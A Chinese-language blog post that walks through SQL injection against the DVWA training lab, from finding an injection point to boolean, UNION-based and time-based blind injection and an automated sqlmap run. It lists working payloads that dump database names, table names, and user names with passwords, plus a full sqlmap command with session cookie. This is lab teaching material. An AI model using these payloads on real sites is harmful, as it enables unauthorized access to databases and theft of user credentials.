SQL注入

SQL注入

1.sql原理:

网页进行输入程序时使用了sql语句访问数据库,因为未对输入的内容进行筛选操作,所以可以直接通过输入参数来对网页的数据库进行攻击。

2.注入流程:

以DVWA为例子

1.判断是否有注入漏洞

正常输入1

正常输入 1

输入'

页面报错,说明有注入点

2. 基于布尔的注入

输入' or 1=1 -- '

3.基于UNION注入

通过注入UNION注入的错误来猜测数据列数

' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
......

输入' union select 1 -- '

输入 ' union select 1,2 -- '

由此可以看出只有两个字段。
并且UNION注入不仅仅只用来查看字段,也可以由以下代码实现其他操作:

  1. 获得当前数据库及用户信息:
    'union select version(), database() -- '
    'union select user(), database() -- '
  2. 查询所有库名:
    'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
  3. 查看所库中所有表名:
    'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
  4. 同时查询表名及对应库名:
    'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
  5. 查询数据列:
    'union select NULL, user from users -- ' 'union select NULL, password from users -- '
    'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
    因为union前面只有两个字段,可以用mysql自带的函数concat()来查询多个字段,如:
    'union select password, concat(first_name,' ',last_name,' ',user) from users -- '

4.基于时间的盲注##

有些数据库对错误信息进行了备注,所以无法从上面的注入方法来推测到注入点,此时可以使用基于时间的盲注来进行探测注入点。
输入1' and sleep(10) -- '

此时网页正在处于刷新状态,说明成功了。

5. 自动注入

输入sqlmap -u "http://192.168.112.128/dvwa/vulnerabilities/sqli/?id=444&Submit=Submit#" \ --cookie ="PHPSESSID=q4uip9f73920co3v0qssi5evq4;security=low;showhints=1;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --level=5 --risk=3

显示正在test中

posted @   无翼鸾  阅读(221)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示
点击右上角即可分享
微信分享提示